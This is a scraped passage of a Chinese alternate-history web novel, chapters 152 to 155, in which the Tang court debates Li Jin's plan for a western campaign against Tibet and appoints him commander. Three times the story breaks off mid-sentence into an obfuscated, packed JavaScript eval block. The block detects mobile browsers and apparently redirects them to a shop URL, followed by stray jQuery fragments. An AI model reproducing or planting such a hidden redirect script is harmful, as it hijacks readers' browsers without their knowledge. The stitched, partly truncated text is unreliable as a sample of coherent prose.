李瑾直起身,目光掠过众人,最终定格在殿外西方那无垠的天际,仿佛已看到了**之外的烽火与雪山。他清晰而有力地吐出了接下来的话语,每一个字,都像重锤敲在每个人的心头:
“臣请,不以常规府兵慢集,而以神策军为主力,辅以陇右、河西精骑,组建一支五万人的西征行营。**”
“臣请,不走传统漫长粮道,而以新式四轮大车、骆驼队为主,沿丝路北道设立前进补给点,实行梯次转运,并在关键节点预储粮秣军械。**”
“臣请,携带足量火炮、火枪及新式器械,以器之利,补人之疲,破敌之锐。”
“最重要的是,”李瑾的声音陡然提高,带着一种不容置疑的决心,“此战,不以解安西之围为满足。吐蕃既敢倾巢而来,其本土必然空虚。臣请,大军西进,不仅要击退犯境之敌,更要寻机深入吐蕃腹地,打疼他们,打怕他们,让他们十年之内,不敢再东顾!为此,臣请陛下,授予前敌主帅临机专断之权,凡行军作战、后勤调度、乃至与西域诸国交涉之权,皆可便宜行事!”
话音落下,满殿皆惊!
主动出击,深入吐蕃腹地?这比单纯的救援安西,风险何止大了十倍!所有人都被李瑾这大胆甚至可以说是狂妄的计划震住了。就连主战最力的薛仁贵,也张大了嘴,一时说不出话来。
帘后,武后的身影微微一动。御座之上,李治的眼中闪过震惊、犹疑,但更多的,是一种被点燃的、属于帝王的野心与锐气。
他知道,李瑾这不是在请求,这是在向整个朝廷,向吐蕃,乃至向所有觊觎大唐的四夷,亮出了一柄蓄势已久的、寒光凛冽的剑锋。
安西的烽火,或许将点燃一场远超所有人预想的战争。而这场战争,将不仅仅关乎西域的归属,更将深刻地改变这个帝国的军事格局,以及……很多人的命运。**
第152章 朝议战与和
李瑾的话如同惊雷,在紫宸殿内余音震荡,激起的回响却并非整齐的应和,而是更为汹涌激烈的争论狂澜。
短暂的死寂之后,是比之前更加喧嚣的哗然与反对声浪。如果说之前的讨论还停留在“救不救”、“怎么救”的层面,那么李瑾这番不仅要救,还要主动深入敌境、寻求决战的方略,在许多人看来,已经是不切实际的狂想,甚至是拿国运赌博的疯狂之举。**
“荒唐!荒唐至极!”率先发难的,正是那位先前隐隐主张放弃安西的谏议大夫,他此刻也顾不得御前礼仪,须发皆张,指着李瑾,声音因激动而发颤:“**!安西之围尚未解,郭都护求救之急报犹在耳畔,你竟敢妄言深入吐蕃腹地?你可知吐蕃地势之高,气候之恶,行军之难?昔年侯君集将军平高昌,尚且损兵折将,何况万里迢迢攻入吐蕃?**这简直是驱将士入死地,置国家于险境!”
“**此言,未免太过轻率。”兵部尚书任雅相也沉着脸开口,他虽佩服李瑾的魄力,但身为兵部主官,深知其中艰难,“神策军虽锐,不过数万,即便加上陇右、河西边军,总兵力不过十万上下。吐蕃倾国而来,兵力恐倍于我。我军劳师远征,人地两生,吐蕃以逸待劳,据险而守。兵法云:‘千里馈粮,士有饥色’。纵有新式器械,然粮道漫长,一旦有失,大军立陷绝境。**此非破敌,实乃资敌!”
户部尚书高履行更是脸色发白,几乎要跳起来:“**!您可知道五万神策军并辅兵民夫西征,一路粮秣、军械、赏赐,需要多少钱粮?去岁盐铁之利,大半已投入各地官学、印书及水患赈济。今年各地收成尚未入库,若再行此等大役,国库必然空虚,万一……万一战事迁延,或中原再有灾异,朝廷将何以为继?此绝非老成谋国之言!”
几个出身世家、与李瑾在科举新政上多有龃龉的官员,此刻也仿佛找到了绝佳的发难机会,纷纷出言:
“**锐意进取,心系边陲,固然可敬。然治国用兵,当持重稳妥。**安西四镇固然重要,然朝廷根本,在于中原。岂可为边陲一隅之地,而动摇天下根本?”
“神策军乃天子亲军,拱卫京畿,责任重大。岂可轻易调离?若京师有变,或北方突厥、契丹等部闻讯而动,又当如何?”
“新式火器,耗费无数,威力究竟如何,尚未经大战检验。若将国之重器,孤注一掷于西陲绝域,万一……臣恐所托非人,贻笑大方啊。**”这话更是含沙射影,直指李瑾操弄新军、心怀叵测。
反对之声,甚嚣尘上。理由冠冕堂皇,无非是“劳师远征,耗费巨大”、“天时地利皆不利”、“国本动摇”、“神器未验,风险太高”。其中固然有真正忧国忧民的务实之见,但更多的,是夹杂着对李瑾个人权势膨胀的忌惮、对新军新制的不信任,以及对可能因此战进一步巩固的寒门新贵势力的抵触。这是一场披着军国大事外衣的政治搏杀。
然而,支持的声音,也在迅速聚集和壮大。**
“臣以为,**之策,乃老成谋国,更是振聋发聩的破局之策!”左骁卫将军薛仁贵再次出列,他面色激动,声音洪亮,“吐蕃欺我太甚!若只解安西之围,不过扬汤止沸。其败退后,舔舐伤口,不出数年,必卷土重来!届时,我朝难道还要再议一次是否出兵,再算一次钱粮耗费?长痛不如短痛,与其岁岁防秋,不如一战定乾坤!**所言深入腹地,打疼打怕,正是长治久安之道!至于艰难险阻,我大唐将士,何时惧过艰难险阻?**太宗皇帝当年横扫突厥、薛延陀,哪一仗不是以少胜多,出奇制胜?”
薛仁贵是军中少壮派的代表,他的话立刻引起了一批同样血气方刚、渴望军功的中低级将领的共鸣,他们纷纷出言附和。与此同时,文臣队列中,也有不少人站了出来。
新任御史中丞、出身寒门的张柬之(此处借用历史人名,时代略早,为情节需要)朗声道:“诸位同僚只言远征之难、耗费之巨,却不思吐蕃若占安西、断丝路之害有多深!丝路一断,商税岁入锐减何止百万?西域诸国离心,朝廷每岁赏赐羁縻之费又需几何?更遑论河西、陇右自此烽火不断,边军耗费激增,百姓流离失所。两相比较,一时之巨费与长久之大患,孰轻孰重?**之策,看似激进,实则是以一时之痛,解长久之忧,正是为国家计深远!**”
“张中丞所言极是!”户部度支司郎中卢承庆也再次开口,他如今已是寒门新贵在财政领域的代表人物之一,“下官细算过,若依**之策,以新式大车、骆驼队梯次转运,并预储粮秣,其效率远胜旧法,耗费亦可大幅降低。且神策军装备精良,训练有素,战力非普通府兵可比,以精兵破敌,反可缩短战时,节省总体开支。**至于火器之威……”他顿了顿,看向李瑾,得到后者微微颔首后,继续道,“下官曾有幸观摩过神策军演武,火炮之威,足以开山裂石,绝非虚言。以此破吐蕃重甲、坚城,正当其用!”
支持者与反对者,泾渭分明,又彼此交错。殿中争执之声越来越高,面红耳赤者不乏其人。有人引经据典,有人摆出数据,有人慷慨激昂,有人忧心忡忡。这不仅是战与和的选择,更是不同政治路线、不同利益集团、甚至是新旧两种思维方式的激烈碰撞。**
御座之上,李治的眉头越锁越紧。反对者的顾虑,他何尝不知?但支持者描绘的前景和指出的长远危害,同样让他心惊。他感到一阵熟悉的晕眩和无力感袭来,不由自主地将目光再次投向帘后。
一直静听未发一言的武后,此刻终于轻轻抬了抬手。只是一个细微的动作,却仿佛带着无形的力量,让殿中激烈的争论声渐渐低了下去,最终归于沉寂。所有人的目光,都集中到了那道珠帘之后。
珠帘后,传来武后平静却极具穿透力的声音,不高,却清晰地传入每个人耳中:
“诸卿所言,皆有道理。战,关乎国运,不可不慎。和,关乎国体,不可轻言。”她顿了顿,仿佛在斟酌词句,但接下来的话,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000312|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却让所有反对者心中一沉。
“然而,本宫要问诸卿几个问题。”武后的声音转冷,“其一,吐蕃大军压境,志在必得。我们在此争论是战是和、是救是弃之时,安西的将士是否还在流血?**于阗、疏勒的城墙,是否还能坚守到我们争出结果的那一天?”
“其二,即便我们想‘和’,想‘弃’,吐蕃可会接受?他们兴师动众,所求者,恐怕不仅仅是安西四镇吧?今日让安西,明日是否要让河西?后日,是否要兵临长安城下,逼我大唐称臣纳贡?**太宗皇帝扫灭突厥、平定高昌时,可曾因道远、费巨而犹豫过?”
“其三,”她的声音陡然拔高,带着金石之音,“我大唐立国至今,靠的是什么?靠的是将士用命,血战沙场!靠的是锐意进取,不畏艰险!靠的是国力强盛,足以支撑王师远征!而非坐在这温暖的殿堂之中,斤斤计较一时一地之得失,畏首畏尾,徒令敌人耻笑!**”
一连三问,一句比一句严厉,一句比一句震撼人心。尤其是最后一句,几乎是在指责那些反对者怯懦无能,动摇国本。许多刚才激烈反对的官员,脸色瞬间变得苍白。
武后的目光,似乎穿透珠帘,缓缓扫过殿下众臣,最后落在李瑾身上,声音转为一种不容置疑的决断:
“**之策,虽有风险,然确是打破僵局、争取主动的唯一良策。吐蕃既敢来,我们就要让他们付出代价,让他们记住疼痛的滋味,让他们再也不敢觊觎大唐的疆土!**”
她转向李治,语气转为恭谨,但内容却已一锤定音:“陛下,臣妾以为,当准李相所奏,以神策军为主,速发大军西征。此战,不仅要解安西之围,更要打出我大唐的国威军威,打出西域十年的太平!至于钱粮耗费,可从盐铁转运余利、内帑及各地节流中筹措。军国大事,当断则断,切不可优柔寡断,贻误战机!**”
寂静。死一般的寂静。
所有人都明白,天后此言一出,等于是给这场激烈的朝议划上了句号。皇帝李治虽然仍是名义上的最终决策者,但谁都知道,近年来,尤其是在重大军国事务上,天后的意志几乎就是最终的意志。她支持李瑾,就意味着这场战争,已经不可避免。
李治沉默了许久,目光在激动的薛仁贵、沉静的李瑾、脸色惨白的反对者以及那道珠帘之间缓缓移动,最后,他深深地、仿佛用尽全身力气般吐出一口气,声音嘶哑却坚定地说道:
“准奏。依李相所议,筹备西征事宜。具体方略、人选,由政事堂会同兵部、户部、工部详议,三日内拟定章程,报朕与天后御览。散朝。”
尘埃落定。一场关乎帝国西陲命运、乃至内部权力格局的豪赌,就此拉开序幕。支持者心潮澎湃,反对者心如死灰,更多的人,则是怀着复杂难言的心情,目送着那道年轻的紫色身影,在无数道目光的注视下,稳步走出了紫宸殿。殿外的阳光有些刺眼,映照着长安城的宫阙万间,也映照着即将踏上万里征途的铁血与未知。**
第153章 瑾献平蕃策
紫宸殿的激烈争执虽暂告段落,但真正的较量,才刚刚开始。
朝会虽定下了“战”的基调,可如何战、谁来战、耗费几何、胜算几成,这些具体到让人头皮发麻的细节,才是真正决定这场战争能否打响、能否打赢的关键。三日后,在规格更高、气氛更加凝重的政事堂御前军机会议上,李瑾将呈上他筹谋已久、并在这三日内与兵部、工部及神策军将领们反复推演完善的《平蕃定策疏》。
这一次,帘后不仅坐着武后,连久未在重大军事会议上露面的皇帝李治,也强撑着病体,亲临御座。下方,除了几位宰相,兵部、户部、工部、乃至将作监、军器监的主官俱在,气氛肃杀得如同大战前夜的中军大帐。
李瑾手持一卷厚厚的文书,走到殿中悬挂的巨大西域及吐蕃粗略舆图前,他的身影在那幅绘制着高山、沙漠、河流与城邑的地图前,显得异常挺拔而沉稳。**他没有急于展开卷轴,而是先向御座躬身一礼,然后转身,目光如炬,扫过在场每一位重臣。
“陛下,天后,诸公。”李瑾的声音清晰而平静,却带着一种不容置疑的力量,“吐蕃之患,非一日之寒。自松赞干布一统高原,其势已成。禄东赞等权臣辅佐幼主,对外扩张之心日炽。此番大举东侵,是其国力积蓄、野心膨胀之必然。若我朝仅以守势应对,解一时之围,不出三五载,其必卷土重来,且势必更烈。故,臣之策,核心不在‘守’,不在‘和’,而在一个‘攻’字,且是以攻代守,以战止战的主动出击!”
他顿了顿,让这番话在众人心中沉淀,然后才徐徐展开手中的文书,但并未完全照本宣科,而是结合舆图,开始了详尽的阐述。
“此战,臣将其定名为‘犁庭扫穴’之战。目标有二:其一,解安西四镇之围,击溃当前犯境之吐蕃大军;其二,寻机深入,不求占领吐蕃全境(此非时宜),但求重创其主力,焚其粮秣,毁其要塞,震慑其附庸,迫使吐蕃在未来十年甚至更久的时间内,无力也无胆再犯我边境!”
“具体方略,分为四步。”
第一步,曰‘雷霆救围’。
李瑾的手指点在舆图上安西四镇的位置:“吐蕃主力约八万精骑,辅兵数万,分围于阗、疏勒。其兵锋虽锐,然长途奔袭,利在速战。我安西将士据城死守,挫其锐气。我大军西进,不必直奔围城之敌,而是以神策军为锋镝,陇右、河西精骑为两翼,沿丝路北道(天山北路)疾进,直插吐蕃军侧后,断其与羊同、苏毗等后方联系之要道。**”
“吐蕃人绝料不到我军敢于深入其后勤线,更料不到我军进军如此迅捷。此时,我军火炮之威,便可首次亮相于西域战场。”李瑾的眼中闪过一丝冷芒,“择其粮草囤积之地、兵马集结之处,以雷霆万钧之势,用火炮轰击。不求全歼,但求打乱其部署,焚毁其粮秣,震骇其军心。围城吐蕃军闻听后方遇袭,粮道被扰,军心必乱。郭都护等守军见援军旗号,士气大振,可出城夹击。**届时,里应外合,破敌可期。”
第二步,曰‘犁庭扫穴’。
解围之后,大军不急于回师,而是挟新胜之威,精选三万精锐(以神策军为主,辅以最善于山地奔袭的陇右劲卒),携带半月干粮及驮马、骆驼,以归降或被俘的吐蕃、苏毗向导为引,沿昆仑山北麓隐蔽小径,迅速南下,直插吐蕃在阿里(象雄)地区的后方基地。”
“此地是吐蕃此次出兵的重要支撑点,屯有大量粮草、牲畜,且守备相对空虚。我军以快打慢,以有心算无备,突袭此地,焚其积储,驱散其牲畜,震慑其部落。此乃攻敌之必救,亦能极大削弱吐蕃持续作战能力。行动务求隐蔽、迅猛、一击即走,不做纠缠。”
第三步,曰‘以战迫和’。
“经前两步打击,吐蕃东进主力受挫,后方根基动摇,其国内必然震动。此时,我大军主力可陈兵于吐蕃北境要隘之外,摆出随时可继续南下的姿态。同时,遣使携被俘之吐蕃贵族、缴获之旗帜印信,直入逻些(拉萨),面见吐蕃赞普与禄东赞等权臣。**”
李瑾的声音带着一丝冷意:“使者不必多言,只需展示我军兵威,陈说利害。告诉他们,大唐无意灭其国,但若其不知悔改,我天兵锋镝所向,下一次便不是焚其粮草,而是直指其王庭了。迫其签订城下之盟,要其吐出所占安西之地,赔偿军费,送质子入长安,并开放商路,承诺十年不犯边。”
第四步,曰‘固本培元’。
“此非战策,乃战后长治久安之策。”李瑾的手指从吐蕃移回安西、河西、陇右,“经此一役,当趁势加强对安西、北庭的控制。增设军镇,移民实边,推广屯田。改善丝路驿传,保护商旅,以商税养边军。更重要的是,借此战之威,震慑西域诸国,巩固他们对大唐的臣属,同时对那些摇摆不定或暗通吐蕃者,如葛逻禄等部,进行必要的敲打或清算。**使西域真正成为大唐稳固的西陲屏障,而非需要时时输血救援的负担。”
一席话,条分缕析,层层递进,从战术到战略,从军事到**,勾勒出一幅清晰而大胆的战争蓝图。殿中诸臣,无论原本立场如何,此刻都听得屏息凝神。即便是最反对出兵的人,也不得不承认,李瑾此策并非纸上谈兵,而是经过深思熟虑,将敌我优劣、地理天时、政治外交等因素全盘考量在内的全局性谋划。
然而,震撼过后,疑问和反对也随之而来。
兵部尚书任雅相眉头紧锁:“**方略固然宏大,然细节之处,困难重重。首先,神策军虽锐,然不过三万余,加上陇右河西边军,总兵力不过七八万,如何能在吐蕃大军侧后来去自如?其次,深入阿里,地形复杂,气候恶劣,向导可靠否?粮秣如何保障?再者,火炮之威,臣等只闻其名,未见其实,万一……**”
“任尚书所虑极是。”李瑾似乎早有准备,从容应道,“关于兵力,我军虽寡,然皆为百战精兵,且装备、训练、士气皆远胜吐蕃。吐蕃号称二十万,实乃虚张声势,其真正可战之精骑,不过围城那八万。我军不与其硬拼,而是攻其必救,击其软肋,此为以巧破力。至于行军与后勤……”
他转向工部尚书和将作监、军器监的官员:“这便要依赖新式器具与新法了。工部与将作监已试制出载重量大、更适应戈壁长途跋涉的四轮重型马车五百辆,加上征调的骆驼、骡马,可组成一支高效的运输队伍。臣已命人在凉州(武威)、甘州(张掖)、肃州(酒泉)、瓜州、沙州(敦煌)等丝路要冲,预先储备粮秣、箭矢、火药及备用器械。大军采取梯次前进,逐段补给,可保主力轻装疾进。此为‘以车代畜,以点成线’之法。”
“至于向导,”李瑾看向兵部职方司郎中,“安西、陇右军中,本就有熟悉吐蕃、羌塘地理的归化蕃将及子弟,此次更可重金募用熟悉阿里山道的吐谷浑、党
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000313|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
项向导,并以其家眷为质,双管齐下,可保无虞。”
“最后,火炮之威。”李瑾的嘴角露出一丝近乎冷酷的笑意,“耳听为虚,眼见为实。三日后,请陛下、天后与诸公,移驾神策军城外大营,臣已命人设好标靶。届时,是骡子是马,一看便知。”
户部尚书高履行最关心的还是钱粮,他苦着脸道:“**,即便如此,此番西征,初步估算,粮秣、军饷、赏赐、抚恤,加上器械制造、车马征调、沿途储备……所需恐怕仍需三百万贯以上。国库……实在艰难啊。”
“高尚书不必忧心。”李瑾显然也早有腹案,“钱粮之事,可由三处筹措。其一,动用部分去岁盐铁转运之盈余,此为国家正用。其二,发行‘平蕃专项国债’,许以略高于市面的利息,向长安、洛阳及江南富商大贾募集。告诉他们,此战若胜,丝路畅通,他们的生意将十倍、百倍获利。其三,请内帑支援一部分,以示陛下与天后决心。此三项,应可解燃眉之急。且此战若胜,吐蕃赔款、丝路商税增加,不出三年,所有投入皆可收回。”
“国债?”这个新词让不少大臣一愣。但李瑾的解释简单明了,无非是朝廷向富户借钱打仗,以未来税收或战利品担保偿还。虽然有些惊世骇俗,但在巨大的战争经费压力下,似乎也不失为一个办法。
殿中再次陷入沉默,只剩下粗重的呼吸声和炭火偶尔的噼啪声。反对者们发现,李瑾几乎将他们可能提出的每一个难题,都想到了对策,尽管这些对策看起来同样充满风险和不确定性,但至少,它是一套成体系的、逻辑自洽的方案。
一直静听的李治,此刻终于缓缓开口,声音带着一丝疲惫,但更多的是决断:“**爱卿,此策……你有几分把握?”
李瑾转过身,面向御座,深深一揖,抬起头,目光坦然:“陛下,兵者,国之大事,死生之地,存亡之道。臣不敢妄言必胜。然,若按此策行事,准备充分,将士用命,天时地利不出大的意外……臣,有七成把握,可解安西之围,重创吐蕃,迫其签订城下之盟。**”
“七成……”李治喃喃重复,目光投向帘后。
珠帘后,武后的声音适时响起,清晰而坚定:“七成把握,足矣。世间从无万全之策。昔年太宗皇帝征讨颉利,又有几成把握?不过因时而动,顺势而为,更凭一腔血勇与不世出的胆略!今日之势,敌已亮剑,我辈岂能畏缩不前?李相之策,思虑周详,胆识过人,既有破敌之勇,亦有安边之智。**本宫以为,可依此策,全力筹备西征事宜。”
她顿了顿,语气转为不容置疑:“此战,关乎国运,关乎西陲安宁,更关乎我大唐天可汗之威名是否坠地。诸卿当摒弃成见,同心协力。兵部主掌调兵遣将,户部筹措粮饷,工部、将作、军器诸监,全力保障军械物资。若有推诿拖延,贻误军机者,无论品级高低,本宫定斩不饶!**”
“臣等遵旨!”在武后凛冽的目光和斩钉截铁的话语下,所有的犹豫、质疑、反对,都被强行压了下去。殿中响起了参差不齐却无人敢怠慢的应诺声。**
李瑾的平蕃策,在这一刻,正式从纸面,走向了即将被鲜血与烈火浸染的现实。一场规模空前、意义非凡的西域大战,就此进入了紧锣密鼓的准备阶段。而所有人都知道,这场战争的结果,将不仅决定西域的归属,更将深刻影响大唐帝国未来的国运与权力格局。
第154章 媚娘点将才
平蕃策既定,接下来的关键,便是由谁来执掌这柄即将出鞘的利剑。
政事堂御前会议后第三日,神策军城外大营的那场火炮演示,成为了压倒一切质疑的最后一块砝码。当十余门黑黝黝的铁铸火炮在沉闷的轰鸣声中,将数百步外模拟敌阵的土墙、木靶乃至披甲草人轰得碎木横飞、铁甲洞穿时,亲临观摩的李治、武后以及一干重臣们,脸上的震撼与复杂神色,许久未曾褪去。反对者们最后关于“奇技淫巧,不堪大用”的嘀咕,在绝对的力量展示面前,显得苍白无力。
然而,当“谁来挂帅”这个问题真正摆上桌面时,朝堂之上,风波再起。
紫宸殿,又是一次关乎国运的御前议事。与前次不同的是,这次参与的多是真正的核心重臣,气氛更加凝重,争论也更加直指核心。**
“陛下,天后,”侍中(宰相之一,此处为虚构或泛指某资深宰相)许圉师颤巍巍出列,他是三朝老臣,素以稳重著称,“西征之事,关乎社稷。行军大总管一职,统帅数万精锐,节制西域诸军,权柄甚重。**才略过人,忠心可鉴,然……”他顿了顿,似乎在斟酌词句,“然李相毕竟年轻,且多年执掌中枢,处理政务、改革新政固然出色,但独当一面、临阵决机之大兵凶战危之事……是否宜另择更富沙场经验之老成宿将?譬如,左骁卫大将军薛仁贵,勇冠三军,威震蕃夷;或邢国公苏定方,虽年事稍高,然谋略深远,用兵老辣,皆可当此重任。”
许圉师的话,说出了许多人的心声,尤其是那些出身将门或与李瑾政见不合的臣子。让一个以文臣出身、年未及三旬的宰相,去统领一场可能决定国运的远征,在他们看来,简直是将国家安危视作儿戏。即便李瑾展现了惊人的战略构想和拥有犀利的火炮,但战场上的瞬息万变和尸山血海,绝非纸上谈兵所能概括。**
“臣附议!”立刻有将领出列支持,“薛将军勇猛善战,苏老国公更是战功赫赫,用兵如神。此次西征,关系重大,正需此等久经战阵之名将坐镇,方可保万全!****可为副帅,参赞军机,或于后方总督粮饷,亦是老成之谋。”
“不错,**深通军略,然毕竟未临前敌。不若以薛将军为帅,李相为监军或行军长史,如此既可用其谋,又可借重老将之威,岂不两全其美?**”
支持薛仁贵或苏定方的声音一时占了上风。薛仁贵本人挺身而出,神情激昂,显然对挂帅西征极为渴望。而苏定方虽未在场,但其资历、战功,也确实足以服众。
面对这些看似合理的提议,珠帘后的武后,自始至终保持着沉默。御座上的李治,面色依然带着病容的苍白,目光在争论的臣子身上缓缓移动,最终,落在了一直静立一旁、神色平静如水的李瑾身上。**
“**,”李治终于开口,声音有些沙哑,“诸卿之意,你如何看?”
李瑾缓步出列,向御座和珠帘分别一礼,然后转向众臣,他的目光清澈而坦荡,没有丝毫被质疑的愠怒或急切。**
“诸公所言,皆为社稷计,瑾感佩于心。”他先肯定了反对者的出发点,然后话锋一转,“薛将军勇冠三军,苏老国公谋略深远,皆是我大唐柱石,瑾素来敬仰。若由二位挂帅,瑾愿为前驱,效死力以报国恩。”
他停顿了一下,目光扫过众人,声音略微提高:“然而,此次西征,非同常规战事。其战略核心,在于‘以新破旧’,在于‘奇正相合’。非瑾自矜,神策军之编练、火炮等新式器械之运用、乃至后勤转运之新法,皆由瑾一手操持,其中关窍、优劣、如何与传统战法结合,瑾最为熟悉。薛将军、苏老国公虽善战,然对此等全新战法、全新军械,恐需时日适应。而战机稍纵即逝,安西将士正在血战待援,我们,没有时间让主帅去重新熟悉一支全新的军队和战法。**”
“再者,”李瑾的声音更加沉稳,却带着一种无形的压力,“此战关键在于深入敌后,行险棋,打运动,依赖的是对全局的精准判断和对新式军队如臂使指的指挥。临阵换帅,已是兵家大忌。临阵换一个不熟悉新军、不精通新法的帅,更是将数万将士的性命与国家气运,置于莫大的不确定之中。诸公可曾想过,若因主帅不谙新军特性,指挥失当,导致大军溃败,新式器械资敌,届时,我大唐将面临何等局面?**”
此言一出,刚才还议论纷纷的朝堂,顿时为之一静。李瑾没有直接反驳别人的能力,而是从战争的特殊性、军队的特殊性出发,指出了换帅可能带来的致命风险。这个理由,比任何个人能力的比较,都更具有说服力和杀伤力。**是啊,神策军和那些火炮,就像一柄精心打造、却只有李瑾知道如何发挥其全部威力的神兵利器,交给别人,万一用不好,甚至伤了自己怎么办?
一直沉默的薛仁贵,脸上激动的红潮渐渐褪去,露出一丝沉思和凝重。他是纯粹的军人,渴望战功,但更明白战争的残酷。李瑾的话,戳中了要害。他对神策军的训练和火器运用,确实了解不深。
这时,兵部尚书任雅相出列,他此刻神色复杂,但还是如实奏道:“陛下,天后。李相所言,确有道理。神策军自成军以来,其操典、战法、器械,皆与诸卫迥异,乃**亲定。且此次西征之全盘方略,亦出自李相之手。临阵易帅,确需慎重。然……”他话未说尽,但担忧之意明显,无非还是李瑾的年资、经验与独揽大权的风险。**
就在局面有些僵持之时,珠帘后,一直静听的武后,终于开口了。
她的声音不高,却带着一种洞悉一切、不容置疑的穿透力,清晰地传入每个人耳中。
“诸卿之虑,本宫与陛下,岂能不知?”武后的声音平稳无波,却自有一股威压,“然,非常之时,当用非常之人,行非常之事。吐蕃倾国来犯,乃数十年来未有之边患。循规蹈矩,按部就班,或可解一时之围,然能保十年西陲太平乎?能让吐蕃心胆俱裂,再不敢南顾乎?**”
她微微停顿,似乎让每个人都消化一下这番话的重量,然后继续道:“**之平蕃策,胆略超群,谋划深远,更兼有新军新器为依托。此等方略,非深谙其道、魄力果决者不能执行。薛将军勇则勇矣,然长于冲阵陷锋;苏老
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000314|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
国公谋则谋矣,然年事已高,恐难耐雪域跋涉之苦。纵观满朝文武,既通新军之妙,又具全局之略,更有魄力执行此等主动深入之策者,除李相之外,尚有何人?”
这话已经说得非常直白,几乎是将李瑾定为了唯一且必须的人选。
但武后的话还没完,她的语气转为一种更深沉的考量:“况且,此番西征,非独为退敌,更是为我大唐日后经营西域、震慑诸蕃,立下一个新的章程。**熟知西域情势,更兼在安西素有威望(因其新政惠及边军及商路),由其挂帅,战后安抚诸国,重整丝路,亦是不二人选。**此乃军政一体,长远布局之需。”
“至于年资经验……”武后的声音陡然转冷,带着一丝锐利,“昔年卫公(李靖)出征时,年岁几何?霍去病初次领兵,又是何等年纪?英雄出少年,岂可以常理论之?陛下与本宫,信的是李相之才,之忠,之能!”
最后一句,掷地有声,彻底堵住了所有关于“资历”的质疑。搬出李靖、霍去病这等不世出的名将,谁还敢说年轻就不能挂帅?
李治适时地缓缓点头,虽然气色不佳,但眼神中透露出支持:“天后所言甚是。李相虽年轻,然才具出众,忠心体国,更兼此番西征方略皆出自其手,由其挂帅,正是人尽其才。朕意已决……”
“陛下!”仍有不死心者试图做最后努力。
“嗯?”李治眉头微皱,不怒自威。虽然他久病,但帝王之威犹在。**那出声之人顿时噤声。
武后珠帘后的身影微微前倾,声音带着最后的、不容置疑的决断:“陛下,既如此,便请陛下下旨吧。任命同中书门下三品、太子少保、知神策军事李瑾,为昆仑道行军大总管,兼安西大都护,总管西域一应军政事宜,全权负责平蕃之战。赐旌节、符印,便宜行事,先斩后奏!**”
“另,以左骁卫将军薛仁贵为昆仑道行军副大总管,辅佐李瑾,掌前锋破敌之责。以凉州都督、安西都护郭待封(郭孝恪之子,此处为情节需要调整其官职和时间线)为行军长史,负责后勤转运、联络诸军。另调陇右、河西精骑两万,归其节制。**一应军需粮秣,着户部、兵部、工部及沿途州县,全力保障,不得有误!”
“臣,李瑾,领旨谢恩!必不负陛下、天后重托,不负江山社稷!”李瑾撩袍,单膝跪地,声音沉稳而有力,在寂静的大殿中回荡。
尘埃落定。武后以其无比的魄力与对李瑾毫不动摇的信任,力排众议,将帝国最精锐的一支力量和一场关乎国运的战争指挥权,交到了这个年轻的宰相手中。**
消息传出,朝野震动。有人为之振奋,有人心怀志忑,更有人在暗中冷眼旁观,等待着这位一帆风顺的年轻权臣,在那片遥远而残酷的雪域高原上,是折戟沉沙,还是……真的能创造不世之功?
长安城的天空,风云汇聚。一场席卷帝国西陲的风暴,已由那位珠帘后的女子亲手按下,而执剑之人,正是那位紫袍玉带的年轻宰相。帝国的车轮,在这一刻,轰然转向了一条充满未知与挑战,却也蕴含着无限可能的道路。
第155章 神策军西征
仪凤元年,深秋,长安城外,灞桥之畔。
往日里折柳送别、离愁萦绕的灞桥,今日却是一片肃杀与金戈交织的雄壮景象。宽阔的驿道两侧,早已被长安百姓、文武官员以及从更远地方闻讯赶来的各色人等挤得水泄不通。人声鼎沸,万头攒动,所有人的目光,都聚焦在桥头那片被临时辟为誓师校场的巨大空地上,聚焦在那支即将开赴**之外的西域、承载着帝国无数期望与疑虑的军队身上。
神策军,大唐帝国最年轻、最神秘、也最昂贵的一支军队,今日终于要揭开面纱,在世人面前展露其真正的锋芒。
校场中央,三万神策军将士肃然列阵。他们没有穿戴传统的明光铠,取而代之的是一种经过改良的、更轻便坚固的黑色扎甲与环锁铠混编甲胄,在秋日的阳光下泛着幽深冷硬的光泽。士兵们头戴制式的顿项盔,腰悬横刀,背负强弓劲**,手持长矛或陌刀,鸦雀无声,只有猎猎旗帜在风中作响。**那种沉默中蕴含的肃杀与纪律,让见惯了府兵、边军甚至北衙禁军的老卒们都暗自心惊。
更引人注目的,是军阵两翼那被厚重油布覆盖的数十个庞然大物,以及队伍中大量前所未见的四轮重型马车。虽然油布遮盖,但那隐隐勾勒出的粗长炮管轮廓,足以让知晓内情者心头凛然,让不明就里者浮想联翩。这支军队的装备、精神面貌,乃至沉默的气质,都与人们印象中的唐军迥然不同。**
